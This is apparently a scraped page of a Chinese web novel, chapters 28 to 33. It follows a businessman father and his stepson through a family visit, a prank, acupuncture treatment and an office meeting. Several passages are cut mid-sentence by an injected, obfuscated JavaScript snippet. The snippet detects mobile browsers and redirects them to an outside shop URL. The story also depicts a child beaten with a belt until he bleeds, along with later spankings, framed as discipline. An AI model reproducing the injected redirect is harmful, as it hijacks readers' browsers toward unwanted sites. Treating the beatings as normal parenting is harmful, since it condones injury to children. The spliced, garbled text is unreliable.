尤朗觉得，似乎当爸爸的每一天他的耐心都在接受严峻的挑战，每一回他自认为已经足够耐心的时候，邱嘉楠总能让他瞬间暴躁起来。此刻尤朗强压着心底的火气，尽量维持着平和的语气，道：“楠楠，你看着爸爸，只要你说实话，爸爸都会相信你的。告诉爸爸，为什么打人？” 邱嘉楠一下扭头看左边，一下眼睛又瞟到右边，就是不愿意和尤朗对视。 尤朗的耐心像水龙头拧紧后的水滴，没两下就滴完了。他伸手解开腰间的皮带扣，将黑色的皮带抽了出来。 邱嘉楠见状，恐惧地后退了一步。 尤朗将皮带对折，指指床：“自己过来趴着。” 邱嘉楠红着眼眶摇头。 “两个选择，要么现在回答我，为什么打人，一句一句给我讲清楚了，要么自己过去趴着。” 邱嘉楠从没挨过皮带，一看就觉得这玩意儿打人痛，可是这两个选择，其实也并没有什么余地。 几秒过后，邱嘉楠呆呆地走到床边，小腹贴着床边缘趴了下去，尚且红着的屁股撅在床边。 “宁可挨打也不说？”尤朗实在没办法理解，小孩打架，无非就是争抢东西或是话语失当，这都不是大事，他也一再承诺无论孩子说什么都会相信，为什么小孩就是不肯开口？ 没有得到小孩的回答，尤朗甩了甩手中的皮带，“啪”一声，五分力挥了下去。 “啊！”小孩短促地叫了一声，随即咬死了下唇，生怕尤朗生气。 才一下，一道肿痕便在小孩臀上现出，横亘两边屁股，有些骇人。 尤朗不愿意这么打小孩，追问道：“还是不说？不说就继续打了！” 可惜这番威胁没有起到任何作用，邱嘉楠仍旧像个锯嘴葫芦，闷不吭声。 尤朗无奈地叹息，随后扬起皮带，再次“啪”一声责下。这回邱嘉楠连叫声都没有，只是死死忍着。尤朗误以为打不疼他，抬起手，添了两分力，“啪啪啪”连续几下抽落，伤重的臀峰隐隐发紫，可小孩只是脊背一抖一抖的，嘴里半点声音都没有。 尤朗被磨起了火气，边抽边骂：“一来就打人，欺负人！什么都不说！你又哑巴了是吗？！” 邱嘉楠的眼泪全滴在床单上，很快渗了进去，分明疼得受不了了，可是他想的却是幸亏自己是这么半趴在床上，不然坏了姿势，爸爸肯定更生气。 下唇一直死死咬着，邱嘉楠恍惚之间尝到了一点血腥味，大概是嘴唇咬破了，可身后的皮带仍旧没有停下的意思。 尤朗是数着的，本打算打三十下，可是才二十几下，臀峰处便有一点破皮，再一下下去，已然是带起了血丝。他不忍心再打，便收了手，喝令孩子起来：“穿好衣服，出去吃饭，再敢没礼貌不懂事欺负别人，我就不饶你了！” 邱嘉楠擦了眼泪，颤颤巍巍地站起来。屁股已经肿得很大，裤子别说往上穿了，就这么摩擦一下，都疼得不得了。可爸爸就站在跟前看着，他不敢说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581268|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么，只得继续咬着下唇，忍痛将裤子穿好。 太疼了，眼泪“啪嗒啪嗒”往下掉，等到裤子穿好，邱嘉楠已是恨不得晕死过去。 这栋小别墅是中式装修，餐桌是深红棕色的木转桌，周围摆着配套的沉重木椅。邱嘉楠一看那个椅子，死了的心都有，但还是要装作没事人一样，坐在上头吃饭。 隔着两个座位，那个名叫小宇的男孩冲他“哼”了一声。 邱嘉楠不敢看他，干脆低下了头，可是肩膀却被拍了一下，之后便听爸爸道：“楠楠，道歉。” 邱嘉楠迫不得已抬起头，咬破了的下唇一动，小声道：“对不起。” 对方白了他一眼，满不在乎地转过头去了。 几个大人打着哈哈，就这样把事情带过去了。 阿姨端菜上桌，大家纷纷动起筷来。邱嘉楠疼得没胃口，也不敢伸筷子夹菜，只是一边听着尤朗和其他人说话，一边低头扒着碗里的白饭。没两分钟，又听见那个男孩冲这边喊道：“鸡翅给我！” 邱嘉楠下意识抬头，只见坐在他右边的大女孩夹着个鸡翅，还没夹到碗里呢，那个男孩就大喊起来了。 女孩是尤朗的侄女，十五六岁的样子，夹着鸡翅，既不给那男孩，也不夹回来，只道：“你已经吃了一个了。” “你以前都不吃鸡翅的，都是我吃的！”男孩不讲道理地嚷起来。 “你管我吃不吃？！这一桌子人，就俩鸡翅，你吃了一个还不够啊？！”女孩说着将鸡翅夹到邱嘉楠碗里，温声道，“吃吧。” 邱嘉楠一愣。显然没想到着桌上会有人给自己夹菜，毕竟连尤朗都像是把自己给忘了。他抬头，小声道：“谢谢。” 那男孩很不满意似的，又“哼”了一声，嘟囔道：“他打我，你还给他吃鸡翅！” “得了吧，你跟个校霸似的，你不先挑衅，谁敢打你？！”女孩说着端起自己的空盘子，要夹菜进来，结果筷子一伸，菜就被转走了。 “胡宇！你有毛病是不是？我夹菜你转桌？！” 动静太大，就连大人们也不得不停下来，尤晴率先呵斥了一句：“莉丽！你怎么跟弟弟说话？！” 女孩倒不怕，依旧理直气壮：“小姑，我不是跟每个弟弟都这样说话的。” 29. 第 29 章 邱嘉楠“唰”一下，淌下一行泪来。在这个陌生的地方，除了尤朗，没有任何人承认他是这个家庭中的一份子，只有这个女孩在强势的话语中明晃晃地表示，这个餐桌上有两个弟弟。 尤朗转过头来，看见小孩垂头掉泪，“啪嗒啪嗒”的，着实可怜。又想到他方才挨了这么重的打，现在还坐着硬木椅上，这要是在家里，不知道得哭成什么样。可是在这里，他连声音都不敢出。 尤莉丽每个菜都夹了一些放在小盘子里，放到邱嘉楠面前：“吃饭。” 邱嘉楠抬起手背擦了下眼泪，小声道：“谢谢姐姐。” 尤莉丽来不及回答，众人又听见胡宇重重地“哼”了一声，随后摔了筷子跑走了。 “小宇！小宇！”大人们纷纷喊着，生怕孩子不高兴了，一回过头，又斥尤莉丽，“你非得跟弟弟闹脾气？你大他这么多，让让他怎么了？” 尤莉丽不说话，自顾自吃饭。 好不容易结束了不大愉快的一顿饭，尤朗得陪老人说话，顾不上邱嘉楠。邱嘉楠也不抱怨，回了房间，趴在床上看书。身后的伤还很疼，但比刚刚坐着实在好多了。 邱嘉楠这一天，先是坐飞机坐小汽车，又跟胡宇闹了一场，还挨了打，要说之前迫不得已必须打起精神，那现在回到自己的领地，那可真是完全放下了心防，眼睛一磕，很快睡了过去。 尤朗睡前去看了小孩一眼，发现孩子睡得很熟，也就不叫醒他了，只给他掖了掖被子，就退出了房间。 可是，将近半夜，一道惊恐的尖叫穿透层层墙壁阻隔，把整栋别墅里的人都惊醒了。尤朗先是被惊醒，随后认出这声音，飞速朝小孩的房间跑去：“楠楠！” 邱嘉楠压根没管来人是谁，一头扎进人怀里，嘶哑地哭叫着：“爸爸！我要爸爸！呜呜呜……” “别哭别哭，爸爸在。”尤朗说话间，房里房外的灯都亮起来了，大人小孩全来了，尤晴一看是这小孩闹的，立刻满不耐烦起来：“怎么回事啊？大半夜的，还让不让人睡了？” 大家都不知道发生了什么，眼中颇为责怪，尤朗一边拍着小孩一边让大家先回去休息，可是尤晴不依不饶的，继续道：“二哥，我看这小孩不知道有什么毛病，你小心一点好！” “尤晴！”尤朗忍不住喝了一句，别的事忍忍就算了，反正也只回来几天，可是尤晴这么大个人，对一个小孩恶意这么大，他实在忍不了。 邱嘉楠紧紧地抱着爸爸，眼泪流个不停，抽泣道：“床、床上有蛇……” 尤朗脸一变，心里万千想法闪过，立刻怀疑是不是这房子位置太偏僻，有蛇爬进来了没被发现，又想着孩子是不是被咬了，万一蛇有毒…… 可他还没想完，就见尤莉丽进了屋，把被子一掀，床上果然蜷着一条青绿色的小蛇。尤莉丽一把将软趴趴的蛇抓起，喝道：“胡宇！” 是条玩具蛇，可是实在太像了，大人们乍一看，都以为是真的，更何况邱嘉楠睡觉睡得好好的，大半夜的，一翻身就摸到一条蛇一样又长又软的东西，黑灯瞎火的，怎么能不怕？ 胡宇梗着脖子：“关我什么事？” “你敢说这不是你的？你胡闹也要有个度好不好？这真的会吓出人命的！” 胡宇不承认，嚷道：“你哪只眼睛看见我放的？搞不好是他自己拿我东西玩，忘了放好，现在又赖我！” “胡宇，你怎么说得出这种话啊？他像是敢拿你东西玩的人？” 其实大人们都知道胡宇什么性子，平时尤晴就没少因为胡宇欺负同学而到学校去给人道歉，可是尤晴本就溺爱儿子，现在又涉及到邱嘉楠，无论如何不可能让胡宇理亏，争辩道：“莉丽，你为什么总是向着外人？我看小宇说的不是没可能，谁知道是不是他自己玩得忘了？就算小宇平时不懂事，也不能什么都赖在小宇身上！” 尤朗不想管胡宇是什么人，他只知道，楠楠从不玩这种玩具，也从没有过不打招呼拿人家东西的习惯。就算别人都看不清，他也非常清楚事情究竟如何。 尤朗抱紧了小孩，朝众人道：“我们明天就回N市。” “哎呀，多大点事啊？小孩子打打闹闹都正常的，小宇没有恶意的。”尤朗的大哥见事情闹开了，忙调和道。 “我知道你们都不喜欢楠楠，但他是我儿子。”尤朗十八岁就出国了，之后就去了N市创业，到现在四十三岁，二十几年的时间里，几乎是孤身一人。就连和邱蕊在一起的那两年，也不过是有个夫妻的名头，真正在一起的时间并不多。 “他和我，确实没有任何血缘关系，但在情感上，他是我唯一的亲人。”尤朗很少这样动情，以至于别人都以为，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581269|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情感不需要照顾。 大家都不说话了，尤朗扫视了一眼，抱着小孩回自己房间去了。 邱嘉楠哭得声音都哑了，虽然知道那是条玩具蛇，可还是害怕，根本不敢放开爸爸。尤朗没有办法，只得把小孩放在自己床上，陪着他睡：“好了，爸爸这里没有蛇，要是有蛇来，爸爸就把它抓走，楠楠快睡吧。” 时钟指向了凌晨一点，正该是熟睡的时候，可是邱嘉楠连眼睛都不敢闭，睁着红肿的大眼睛摇头。 尤朗不习惯和别人一起睡，但这时候也没了办法，只得先躺下，把小孩抱进自己怀里：“没事的，爸爸抱着你睡，楠楠不怕，明天我们就回家了。” 邱嘉楠这会根本不知道什么叫适可而止，反倒得寸进尺，紧紧搂着爸爸的腰，就差没把这腰给勒断了。他实在太怕了。 “爸爸喘不过气来了，”尤朗边说边拍着小孩的背，让他放轻松，“爸爸很厉害的，什么都不怕，还会保护楠楠，楠楠安心睡觉，一觉醒来，天就亮了。” 邱嘉楠回忆过去，发现这好像是尤朗第一回这么耐心温柔地跟自己说话。平时虽然也温柔，可总是有点不耐烦，特别是自己做错事的时候，没两句爸爸就要生气了。 这样的爸爸真好，邱嘉楠窝在爸爸怀里，感受着背后和缓的抚摸，渐渐的，闭上了眼睛。 邱嘉楠后半夜睡得还好，可是尤朗却几乎睡不着，这么抱着个孩子，本来就不大舒服，加上心里想的许多事，到最后竟越来越清醒了。 他这么多年一直很忙，忙得根本不去考虑婚姻家庭。和邱蕊那一段感情，或者说婚姻，一是因为他年纪到了，家里人催着他结婚，二是因为邱蕊真的漂亮，又简单，只要肯花钱，就有个漂亮太太，他甚至不需要花时间去陪伴她。 可是，等到他必须单独面对邱嘉楠的时候，他才明白，原来有一个全心全意爱着自己的人，是会让生命更丰满更轻盈的。 他只是，从来没有遇到那样的人罢了。他从小就知道，爱是有代价的，甚至连父母对他的爱也是因为他比同龄人更出色。但是楠楠爱他，是没有条件的。 他能断定，即使他没有钱，没有房子，没有车子，什么都没有，楠楠还是愿意陪着他一起吃生活的苦。 这么大一个世界，只有一个爱哭的小孩会这样毫无保留地对他。 30. 第 30 章 尤朗次日早上就带着邱嘉楠回N市了。邱嘉楠的精神状态显然比昨天更放松，尤朗也松了一口气，大概不高兴的只有前两天刚被放假的阿姨们——说好放假到年后的，为什么突然要上班？万恶的资本家！ 邱嘉楠一到家就把行李丢在楼下，求着爸爸去接狗狗。前两天章信帮忙送狗狗去宠物店寄养了，他得去领回来。 “山田心肯定很不高兴，之前我说送它去幼儿园，它就不和我说话了。” 尤朗：？？？ “山田心是什么东西？你送什么东西去了幼儿园？” “山田心就是崽，你说不可以叫它崽，所以它现在叫山田心。去幼儿园就是去宠物店的意思，那里很多狗狗嘛，就像狗狗幼儿园一样。”邱嘉楠一本正经地解释。 尤朗想起阿拉斯加那个身型，大概在幼儿园也是个校霸吧。 尤朗亲自开车，载小孩去接狗狗。阿拉斯加显然没预料到能这么快从幼儿园解放出来，欢天喜地地朝邱嘉楠身上扑。邱嘉楠一个趔趄，差点摔倒：“狗儿子，站好。” 阿拉斯加眸中透着压抑不住的欣喜，乖乖站了一会，又忍不住往小孩身上蹭，像是要小孩背着它似的。宠物店的人见了，都觉得是阿拉斯加养了个宠物。 办完手续，邱嘉楠牵着阿拉斯加上了车，阿拉斯加一路“汪”个不停，但尤朗还是听出了些规律，问：“为什么它冲着你就叫两声，冲着我就叫三声？” 邱嘉楠坐在汽车后座，摸摸山田心的头，笑说：“因为汪汪是爸爸的意思，汪汪汪是爷爷的意思。” 尤朗：“……” 怎么说呢，就还，还挺有创意。 因为要留在N市过年，尤朗顺便带着小孩去沃尔玛买了些年货。父子俩对年货都没啥认知，囫囵买了些福字、红包、红红火火的装饰物一类的，倒是邱嘉楠往购物车里扔了很多零食，反正爸爸说，想要什么就买什么。 高高兴兴地忙活了一整天，邱嘉楠似乎忘记了一切不愉快的事。可夜幕降临，洗了澡准备睡觉，他又恐惧起来，问：“我可以和山田心一起睡吗？” “不行。”尤朗立刻回答，坚决得不留余地。虽然山田心被照顾清洁得很好，但到底不干净，跟小孩睡在一张床上像什么话？可一看孩子低头失落的样子，尤朗又舍不得，问，“还怕是不是？” 邱嘉楠怯怯地点点头。 “我们已经回到家了，没有人会吓唬楠楠，楠楠不用害怕。” 是这么个理，但是能理解不代表不害怕啊！邱嘉楠似乎是知道说了也没用，干脆不说了，只垂头默默走回房间去了。 回了房也不敢睡。之前他已经慢慢习惯一个人睡了，不需要开着灯睡前看书，完全可以自己关灯上床。可是今晚，炽热的灯光一直照着，邱嘉楠不敢关。 快11点了，今天也劳累了一日，邱嘉楠连打两个哈欠，搓了几下手心，仿佛又摸到了什么软软的东西。 门突然被打开了，邱嘉楠扭头望去，是穿着睡衣的爸爸。 尤朗走进来，问：“睡不着？” 邱嘉楠闷声道：“我不敢睡。” 尤朗坐到小孩床上：“来，躺下，爸爸看着你睡。” 尤朗是真不能和别人一块睡，看着睡已经是极限了。 邱嘉楠乖乖躺好，拉着爸爸的手，却不闭眼睛。 尤朗拿他没办法，只好将上半身靠在床头，把小孩揽在自己身边：“这样可以了，不怕了。” 可小孩还是睁着眼睛，不睡。尤朗摸摸孩子的头，道：“不睡，那跟爸爸聊天？” “嗯。”小孩点了点头。 “你为什么跟小宇打架？”尤朗还惦记着这事，见到胡宇用玩具蛇把孩子吓得魂飞天外之后，他更确定孩子是受欺负了，“现在是在家里了，什么也不用怕，想说什么就说什么，你说什么爸爸都相信你。” 邱嘉楠完全没想到爸爸还会问这个，抿着唇不愿意开口。 “你要是真不想说，爸爸也不勉强你，但是如果你受了欺负，一定要和爸爸说，爸爸会站在你这一边的。” 本以为要给孩子一点安全感，可邱嘉楠却摇了摇头，道：“是我先打他的。” “你为什么打他呢？他是不是跟你说了什么？” 邱嘉楠沉默了一会，仿佛下了很大决心，才开口道：“他说，你只是看我可怜，才……还说，如果你想起，想起我妈妈，一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581270|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会很讨厌我。他问我，敢不敢问你，记不记得我是谁的孩子。” 其实尤朗之前想的八九不离十，小孩最敏感的估计就这事，心里大概是真怕，才一直不敢说。 “那你是谁的孩子？”尤朗揉着小孩的脸问。 邱嘉楠不想回答这个问题，这个对其他小孩来说简单无比的问题像一座大山，压得他喘不过气来。他只是轻轻摇头。 尤朗不放弃，追问道：“那你想当谁的孩子？” 邱嘉楠抬起眼皮，亮晶晶的双眼一瞬不瞬地盯着尤朗，感受着爸爸眼中始终温和的鼓励，随后鼓起勇气，紧紧抱住了爸爸的脖子。 尤朗顺势把小孩抱起来，道：“楠楠是爸爸的孩子。不管以前发生过什么，也不管以后会发生什么，楠楠都是爸爸的孩子。” 邱嘉楠热泪盈眶。 这么抱了好一会儿，邱嘉楠才依依不舍地松开了手。尤朗看着这个小可怜孩子，眼中满是疼惜：“邱蕊走了很久，我也没问过你，会不会想妈妈。” 邱嘉楠敏感，对情感的感知尤甚。他常常觉得爸爸是不爱妈妈的，就像刚刚提到邱蕊这个名字时，尤朗的语气平稳又冷淡，既没有爱，也没有恨，就像在说一个路人。 “没事的，楠楠想说就说，不想说就算了。” 邱嘉楠摇了摇头。妈妈离开一年多了，除了最开始惴惴不安的时候偶尔会想起，其它时间，他都几乎没有主动想起过。 “其实妈妈也不爱我，我知道的。小时候在幼儿园，别的小朋友都有爸爸妈妈接，我就在幼儿园里玩滑梯，一直玩到天黑，玩到所有小朋友都离开，妈妈也没有来。然后老师就会骑着自行车顺便送我回家，妈妈有时候就在家里，有时候不在，也不会管我是怎么回到家的。”邱嘉楠躺在爸爸怀里，淡淡道。 那个小小的孩子，就这样慢慢的，失去了对妈妈的任何期待，以至于一年多以前邱蕊离开的时候，他最关心的甚至不是邱蕊去了哪里，而是尤朗会不会因此抛弃他。 正如他是尤朗唯一的亲人一般，尤朗也是他唯一的亲人。 尤朗拍拍小孩，道：“有爸爸在，爸爸永远和楠楠在一起，好不好？” “好。” 31. 第 31 章 开春不久，学校组织了一次春游，要在山上露营。邱嘉楠学会了搭帐篷，非常高兴，想着回去一定要和爸爸炫耀一番，可是第二天一早在帐篷里醒来，邱嘉楠觉得锁骨处奇痒无比，又抓又挠地去找老师。 老师们都知道这小孩身体不好，一看出了情况，立刻将邱嘉楠送回了家。 荨麻疹复发了。 邱嘉楠再次过上了每天吃抗过敏药的饮食清淡的日子，这回真是半口奶茶都不敢碰了。尤朗也头疼得很，在外谈工作，碰上个熟人就要念叨下孩子的病，也在不同的人那里知道了不少治疗荨麻疹的法子，什么消风散、血毒丸都吃了一遍，一个多月过去，硬是一点没见好。 “要么你带去中医一附院做个针灸吧。”最后是建材的老何给了点有新意的建议。 只是尤朗想到小孩那个怕打针的模样，要是做针灸那还了得？但这病也不能拖着不治，天天这么吃药，小孩不疯，他先疯了。 因而，尤朗还是征询了下小孩的意见，针灸虽然听着可怕，但也不一定就很疼，而且如果可以把荨麻疹治好，辛苦一下也是值得的。 邱嘉楠实在经历了颇为艰辛的心理挣扎，一边不敢直面针灸的痛苦和恐惧，一边又想恢复患上荨麻疹以前的美好生活，更不想让爸爸的苦心白费，最后还是硬着头皮点头了。 尤朗给小孩挂的是一位很有口碑的老中医的号，听说这位老中医是治荨麻疹、湿疹闻名的。邱嘉楠坐在爸爸腿上，伸着手给医生把脉，过了会又吐舌头看舌苔，最后到里头趴床上了。 “爸爸，我害怕。”一排窄窄的病床，有两三张床上躺着正在治疗的病人，细细的针扎在奇奇怪怪的地方，感觉很痛的样子。 “不怕不怕，爸爸就在旁边，没事的，忍忍就过去了。” 邱嘉楠眼角带泪，又不好意思在这里哭，别人都安安静静地躺着或趴着，他不敢弄出太大的声音来。 老中医是中医药大学的教授，身边还带着几个年轻学生。邱嘉楠就在一个年轻姐姐的催促下趴到了床上。 “来，手放到这儿。”年轻姐姐拉着小孩的手，温柔地让他把手环在头边，这样会舒服一点。 “爸爸。”邱嘉楠头埋在下面，有点害怕，只能挥着手指找安全感。 尤朗抓住小孩的手，抚慰道：“不怕，爸爸在这里。” 老中医走过来，把小孩的上衣撩了起来，露出整个脊背。尤朗明显看见小孩猛地一颤，便安抚地摸摸孩子的头。 老中医嘴里念念叨叨一些穴位，时不时地按一按，问小孩疼不疼。邱嘉楠分辨不出那是因为按得疼还是身体有问题才疼，便含含糊糊地回答：“有一点。” 邱嘉楠看不见，只感觉有人在碰自己，忽然一阵细细的异样感传来，皮肤蓦然一紧，小手抓紧了爸爸。 尤朗知道医生还要问别的穴位，不好出声，便没说话。 不过老中医也不是第一次给小孩做针灸，经验老到，体贴道：“刚刚扎针了，小朋友痛不痛？” 嗯？已经扎了吗？邱嘉楠有点懵，还以为是医生的指甲碰到自己了，疑惑之余颇有些庆幸，原来针灸也没有那么可怕的：“还好。” 背上穴位扎得不多，邱嘉楠很快放松下来，非常配合，只是小手仍旧抓着爸爸不放开。 “好了，艾条拿过来，给他熏一下这个地方。”老中医吩咐道。 邱嘉楠很快感觉到了不同，背上渐渐传来温热感，而且温度一直在上升，到最后简直有点烫了。他受不了这个，闷着声音道：“爸爸，太烫了，要烧到我了。” 年轻姐姐就在旁边，不用尤朗转述，立刻挪开了艾条：“很烫吗？都没见红。”一边说着一边调整艾条的高度。 “烫。” 老中医在旁边给另一个病人下针，还腾出心来，道；“这个小朋友贫血太严重了，艾条熏不红的。一般小朋友气血足，用手拍两下皮肤就红了，这个小朋友可能打哭了皮肤都不显红。” 年轻姐姐忍不住笑了出来，又重新放了艾条，问：“这样还烫不烫？” “不烫了。”邱嘉楠估计是听医生说那话，想起被爸爸脱裤子打屁股，难为情了，声音涩涩的。 尤朗空着的手摸摸鼻子，心想他每回都把小孩打得屁股通红，那不是很疼？ 邱嘉楠趴了二十来分钟，背后的针就起了。小孩翻了个面，躺在床上。 这回下针的地方有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581271|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多，而且手上不少，不能再抓着爸爸，邱嘉楠非常没有安全感，一直在叫：“爸爸，爸爸过来。” “爸爸就在这里呢！爸爸没走。” 老中医掐着小孩手腕上一个穴位，让学生拿一寸针来，温和道：“这么大个男孩子还黏爸爸，别人家男孩子，这么大都开始跟爸爸打架了。” 尤朗只是笑。 邱嘉楠对于不能再抓着爸爸这件事非常伤心，完全没有预料到一寸针所带来的疼痛，就好像是扎在了神经末梢上，猝不及防的，“啊”一声叫了出来：“好痛，这个好痛。” “这里皮薄，是有点痛的。”老中医给他调整了一下，“这样好一点吗？” 邱嘉楠被那一下疼坏了，差点连眼泪都流出来，感觉到疼痛稍微减缓，立刻点了点头。 “好了，不要乱动，那个艾条拿来，熏一下左边这里。” 扎完针，又要等十几分钟才能起针，艾条熏着左边小腿一个地方，邱嘉楠动也不敢动，只有眼珠子骨碌碌地转：“爸爸。” “爸爸在。” “你碰碰我。” 尤朗都被他逗笑了：“医生才说了，不能乱动，等下要挨医生骂了。” 这还不简单？“你偷偷的。” “不可以偷偷的哦。”年轻姐姐走过来，帮抖了一下艾条上的灰，“小朋友乖，再过一会就来给你取针了。” 尤朗笑个不停：“做坏事被抓个正着，你羞不羞？” 邱嘉楠不高兴地撅着嘴，不说话了。 此后，尤朗每天下午都要去学校接小孩去做针灸，放着几十上百亿的生意不管，全身心地扑在小孩身上。邱嘉楠虽然偶尔会因为针灸到一些奇奇怪怪的穴位疼得不行，但总体来说，还是很享受每天下午和爸爸在一起的这段时间。 连续针灸两个星期之后，邱嘉楠减少了抗过敏药的摄入，就连忌口也不用那么严格了。但邱嘉楠并不非常高兴，因为医生说，也不用每天来做了，一周来两三次就好了。 这就意味着，邱嘉楠也不会每天都拥有一段和爸爸在一起的时间了。 一个多月后，邱嘉楠穿上了新的夏装，失落地发现，他的荨麻疹已经很久不复发了。 32. 第 32 章 尤朗自然而然地恢复了之前的繁忙。他之前看中的那块地十月份开拍，到现在还没有出一个能看的方案。上个月开会，有人提出不如延续之前的思路，还是做成别墅区，这块地够大，没问题。可是尤朗觉得，这块地不算偏，往西是商业中心，往东是铁路局，他得到的消息是，以后城市东边还会再建一个火车站。这块地处在商业中心和火车站中间，做别墅区有点浪费。 这周又开了会，会上有了新的方案，干脆一口气把住宅、商场、写字楼都给做了，以后这么一大圈都是他们的产业，连口汤都不给别人留。 这么做不是不行，N市的旧城区也有过这种一体化设计，但关键是，他们的定位是什么，他们的住宅和商场要提供给哪个层次的人群。 大概向西两公里，已经有一个中高档的商场和写字楼。于是大家又提出了好几个具体的方案，第一个说要做一个平价亲民的商场，以招揽顾客，毕竟N市的发展水平有限，别说跟一线城市比了，就是跟排名靠前的二线比也有一定距离，从现在的情况看，西边那个中高档的商场并不非常热闹，他们不应该重蹈覆辙。 说得有理有据，但尤朗怎么听怎么不舒服，方案“啪”一下拍桌上，吓了大家一跳。 正巧章信推门进来，尤朗不耐烦道：“又怎么？” 外头三十几度高温，里头零下几度低温，章信硬着头皮上前，附在尤朗耳边低声道：“尤董，楠楠回来了。” 尤朗眉头一皱，下意识地要发脾气，又给收起来了。他都给忙忘了，这个学期结束，学校举办了夏令营，小孩一出国就是半个月，这都七月半了。 “让他进来。” 会议桌上一圈人大气不敢出，不知道章信又带来了什么噩耗，一个个的面面相觑，想着等会怎么应付尤董。结果，大家就看见邱嘉楠在门口探头好一会儿，然后慢慢地走到尤董身边，糯糯地喊：“爸爸。” 哦，不是噩耗，是救星。众人齐齐松了一口气。 尤朗环视一圈，想给小孩找个椅子坐，结果这会议室坐得满满当当，一个空位都没有。尤朗一言不发，把小孩抱到了自己腿上。 邱嘉楠也不知道大家在干什么，随便翻了翻面前的文件，然后打了个哈欠。 “看看你们做的什么狗屁方案？小孩都看困了！”尤朗不满道，“下一个方案谁说？” 一个三十来岁的男职员在众目睽睽之下站起来；“尤董，是我。” 下一个方案更狗屁，说要做一个定位和西边那个商场类似的，形成双足鼎立的局面，达到分流的效果。尤朗差点就要拍桌，一看怀里小孩已经睡了，生生给忍了下来，只是闭眼挥挥手：“下一个。” 下一个是个女职员，也算是公司元老了，跟着尤董很多年，很有些敏锐的眼光和大胆的设想。她提出要做一个更为高端的商业圈，无论住宅、商场、写字楼都面向N市最顶层的那一批人。 “我们的设计不要只看现在，要看将来。N市是全省乃至整个地理大区的发展重点，以后必然是有一批在财富和地位上都属顶层的人，我们要做的，是为这个圈子提供服务。平价亲民和中高端N市都已经有了，这个再来一个新的，未必能达到分流的效果，反而会让我们的商业圈毫无辨识度。” “嗯……”邱嘉楠下了飞机就到公司来了，睡了大半个小时又迷迷糊糊地醒来，在尤朗怀里伸了个懒腰，“爸爸。” “嗯，别说话，”尤朗调整了一下姿势，松松自己被坐麻的腿，冲女职员道，“你继续。” 邱嘉楠窝在爸爸怀里，睡眼惺忪地跟着听了一会，半懂不懂的，却还是冲着尤朗道：“爸爸，这个好。” 会议室里全安静了，因为大家知道，可能接下来的讨论意义都不大了。 尤朗先是一皱眉，脸显然沉了，却又不能当着这么多人面发作。抬腕看表，会开了好几个小时，这都快到下班时间了，干脆把人打发了：“今天会先开到这，大家辛苦了，先收拾收拾下班吧，之后的事我让章信通知大家。”说罢，自己先带着小孩回办公室了。 办公室门一关，尤朗提提裤腿，在沙发上一坐，小孩便整个歪了下来，口齿不清地叫：“爸爸。” “站好！” 邱嘉楠满是疑惑地清醒了，爸爸又生气了？这么大个老板，怎么喜怒无常的？ 本来想先好好问问小孩在国外这两周过得怎么样，可是刚刚那一出把尤朗的关心都给堵住了，只剩下一肚子火。 “我有没有跟你说过，在外面不许乱说话？” “啊？”这话听着耳熟，邱嘉楠很快想起以前在饭桌上乱应声挨了一顿巴掌的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但不红，不代表不疼。尤朗舍不得似的，才两下就停下揉了揉，问：“疼不疼？” “疼，爸爸，我以后不敢了。”邱嘉楠赶紧求饶。 “疼就对了，疼就给我好好记着，以后说话之前想想你的屁股！”尤朗挥起巴掌，重重地落了下去。 33. 第 33 章 疼痛刺激，可邱嘉楠又不敢动，只能拼命地控制着手脚，鞋子里头的脚丫子一颤一颤的。 